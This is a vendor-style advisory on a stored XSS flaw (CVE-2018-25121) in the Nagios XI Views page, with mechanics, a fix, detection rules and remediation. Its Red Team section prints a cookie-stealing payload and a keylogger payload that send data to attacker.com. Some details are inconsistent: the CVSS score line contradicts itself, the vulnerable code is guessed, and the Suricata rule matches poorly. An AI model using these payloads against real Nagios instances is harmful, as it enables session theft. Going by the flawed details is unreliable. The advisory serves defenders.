CVE-2018-25121
Executive Summary
CVE-2018-25121 is a stored cross-site scripting (XSS) vulnerability in Nagios XI, a popular IT infrastructure monitoring platform. The flaw exists in the Views page of the web interface, where insufficient validation or escaping of user-supplied input allows an attacker to inject and execute arbitrary script in the context of a victim's browser. This can lead to session hijacking, credential theft, or defacement. The vulnerability affects all versions prior to 5.4.13. No public exploit code or proof-of-concept is currently available, but the risk is elevated due to the widespread deployment of Nagios XI in enterprise environments.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (Base Score: 5.4 Medium)
- Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (authenticated user)
- User Interaction: Required (victim must click a crafted link or view a malicious page)
- Scope: Changed (impact may extend beyond the vulnerable component)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
- Threat Level: Medium – Exploitation requires authenticated access and user interaction, but the potential for session hijacking and lateral movement is significant.
Deep Dive & Mechanics
The vulnerability resides in the Views page of Nagios XI, which allows users to create and manage custom views of monitoring data. The application fails to properly sanitize user-supplied input when creating or editing a view. An attacker with a valid account can inject malicious JavaScript into view names, descriptions, or other text fields. When an administrator or other user views the affected page, the injected script executes in their browser context.
The attack flow:
- Attacker logs into Nagios XI with a low-privileged account.
- Attacker creates a new view or edits an existing one, injecting a payload such as
<script>alert('XSS')</script>into a text field. - The payload is stored in the database without proper encoding.
- When a victim (e.g., an admin) navigates to the Views page, the payload is rendered and executed.
- The attacker can then steal session cookies, perform actions on behalf of the victim, or redirect to a phishing page.
Vulnerable vs. Patched Code
Vulnerable Code (pre-5.4.13):
The application likely used a function like echo $view_name; without escaping, or used htmlspecialchars() incorrectly.
// Vulnerable: direct output without escaping
echo "<h2>" . $view_name . "</h2>";
Patched Code (5.4.13+):
The fix involves proper output encoding using htmlspecialchars() or a similar function.
// Patched: escape output
echo "<h2>" . htmlspecialchars($view_name, ENT_QUOTES, 'UTF-8') . "</h2>";
Exploitation & Lab Setup
Red Team
Prerequisites:
- A valid Nagios XI account (any role).
- Access to the Views page (e.g.,
http://target/nagiosxi/views/).
Steps:
- Log in to Nagios XI.
- Navigate to Views → Add New View.
- In the View Name field, enter a payload such as:
<script>new Image().src='http://attacker.com/steal.php?cookie='+document.cookie;</script> - Save the view.
- Craft a link to the malicious view and send it to an administrator via email or internal chat.
- When the admin views the page, the script executes and exfiltrates their session cookie.
Alternative Payload (Keylogger):
<script>
document.onkeypress = function(e) {
var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://attacker.com/log', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('key=' + e.key);
};
</script>
Blue Team
Detection:
- Monitor web application logs for unusual characters in view names or descriptions (e.g.,
<script>,onerror=,javascript:). - Use WAF rules to block XSS payloads in POST requests to
/nagiosxi/views/. - Enable Content Security Policy (CSP) headers to restrict script execution.
Hunting:
- Search database for stored XSS patterns in the
viewstable. - Review Nagios XI audit logs for view creation/modification events by non-admin users.
Indicators of Compromise (IOCs)
- Network: Outbound HTTP requests to attacker-controlled domains from Nagios XI server.
- Logs: Entries in
/usr/local/nagiosxi/var/eventman.logor Apache access logs containing<script>tags. - File System: Modified view configuration files in
/usr/local/nagiosxi/etc/containing JavaScript. - Database: Rows in the
xi_viewstable withview_nameorview_descriptioncontaining HTML/script tags.
Detection Engineering
YARA Rule
rule nagios_xi_xss_cve_2018_25121 {
meta:
description = "Detects XSS payloads in Nagios XI view names"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2018-25121"
strings:
$xss1 = /<script[^>]*>.*<\/script>/i
$xss2 = /on\w+\s*=\s*['"][^'"]*['"]/i
$xss3 = /javascript\s*:/i
condition:
any of them
}
Sigma Rule
title: Nagios XI Stored XSS via Views Page
id: 7a8b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects creation of views with XSS payloads in Nagios XI
author: Valters IT
logsource:
product: nagios
service: web
detection:
selection:
http.method: 'POST'
http.url: '/nagiosxi/views/'
http.body|contains:
- '<script'
- 'onerror='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of HTML in view names (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2018-25121 Nagios XI Stored XSS Payload Exfiltration";
flow:to_server,established;
content:"GET"; http_method;
content:"/nagiosxi/views/"; http_uri;
pcre:"/<script[^>]*>.*<\/script>/i";
sid:1000001;
rev:1;
reference:cve,2018-25121;
classtype:web-application-attack;
priority:2;
)
Remediation & Mitigation
Immediate:
- Upgrade Nagios XI to version 5.4.13 or later.
- If upgrade is not possible, apply a virtual patch using a WAF to block XSS payloads in view-related requests.
- Restrict view creation/modification to trusted administrators only.
Long-term:
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
- Conduct regular security audits of custom views.
- Enable input validation and output encoding in all user-facing fields.
Workaround:
- Disable the Views feature temporarily if not critical.
- Use a reverse proxy with XSS filtering (e.g., ModSecurity).
Valters IT